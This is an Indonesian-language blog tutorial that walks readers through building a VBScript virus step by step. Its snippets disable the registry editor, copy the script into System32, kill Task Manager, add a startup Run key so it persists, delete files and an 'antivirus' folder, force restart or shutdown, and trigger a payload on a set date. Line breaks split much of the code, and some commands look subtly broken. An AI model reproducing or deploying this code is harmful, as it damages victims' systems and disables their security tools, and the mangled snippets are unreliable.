Pertama2, berikut ini hal-hal
yang wajib kita siapin sebelum
membuat virus. # seperangkat komputer
berikut
monitor,cpu,mouse,kibor, dll
(wajib) # kita harus menyiapkan
sebuah file yang ber-ekstensi
vbs (*.vbs) # secangkir teh anget. # akan lebih afdoL kalo
ditemenin lagu2nya rhcp (aku
ngefans ma rhcp) Untuk eksekusi pertama, yang
dilakukan virus biasanya
mengubah registry. Sebenarnya udah aku bahas di
blogku ini. tapi nggak papa
aku ulangin aja. biar keliatan resmi :-).
misalnya: 1. mendisable regedit. Yang
kita tulis: On Error Resume Next(perintah ini digunakan
pada file vb
supaya kalo ada yang salah
bisa dilanjutin kode
selanjutnya) CreateObject("WScript.Shell
").run "cmd.exe /c reg add
hkcusoftware\microsoft\wi
ndows\currentversion\polici
es\system /v
disableregistrytools /t
reg_dword /d ""1"" /f", vbhide sebenarnya banyak cara untuk
mendisable regedit. misalnya
kek gini: CreateObject("WScript.Shel
l").regwriteHKEY_CURRENT
_USERsoftware\microsoft\wi
ndows\currentversion\policie
s\systemdisableregistrytools", 1, "REG_DWORD" lalu mengubah registry yang
lain. yang nggak aku bahas
disini karena
udah pernah aku bahas pada
postingan yang lain di blogku
ini. 2. mengopikan diri ke
direktory lain CreateObject("Scripting.File
SystemObject"). GetFile(WScript.ScriptFullN
ame).Copy
"c:\windows\system32\virus.
vbs" Ada juga cara lain dengan kide
seperti ini: On Error Resume Next createobject("scripting.files
ystemobject").copyfile
wscript.scriptfullname, createobject("scripting.files
ystemobject") .getspecialfolder(1) &
"\virus.vbs" misalnya untuk mengkopikan
diri ke direktory
C:\WINDOWS\System32 dengan nama virus.vbs .getspecialfolder(0) digunakan
untuk direktory WINDOWS .getspecialfolder(1 ) digunakan
untuk direktory SYSTEM32
pada windowsXP .getspecialfolder(2) digunakan
untuk direktory Temporary 3.Membunuh proses . digunakan untuk membunuh
proses
(proses adalah program yang
sedang berjalan) misalnya kita akan membunuh
proses taskmanager On Error Resume Next CreateObject("WScript.Shell") .run "taskkill /f /im
taskmgr.exe", vbhide 4.Menjalankan virus pada saat
startup atau saat windows
dihidupkan. menggunakan regedit On Error Resume Next CreateObject("WScript.Shell
").RegWrite
"HKEY_LOCAL_MACHINESof
tware\Microsoft\Windows\Cu
rrentVersion\Run\virus" "c:\windows\system32\virus.
vbs" (menjalankan virus yang
berada di direktory
c:\windows\system32
dengan nama virus.vbs) 5.Menghapus File / Folder agar virus yang kita buat tidak
banyak menggunakan script
bisa di singkat seperti ini: On Error Resume Next set hapus =
CreateObject("Scripting.Fil
eSystemObject") hapus.DeleteFile
"C:\xxx.exe"'(menghapus file
xxx.exe di direktory C:\) hapus.DeleteFolder
"C:\antivirus"'(menghapus
folder antivirus di direktory
C:\) 6.Merestart Windows CreateObject("WScript.Shell
").run "shutdown -r -f -t 60",
vbhide merestart windows dalam
waktu 60 sekon 7.Meng-ShutDown Windows CreateObject("WScript.Shell
").run "shutdown -s-f -t 60",
vbhide mematikan windows dalam
waktu 60 sekon :)yang beda
cuman "shutdown -s-f -t 60" S = untuk shutdown dan R = untuk reboot\restart 8. Mengaktifkan Virus Pada
Waktu tertentu If day(now) = 1 and month(now) = 1 and year(now)
= 2007 then '(masukkan kode virus disini) End if 'misalnya kalo mau
mengaktifkan pada tanggal 1 ,
bulan 1
'dan tahun 2007
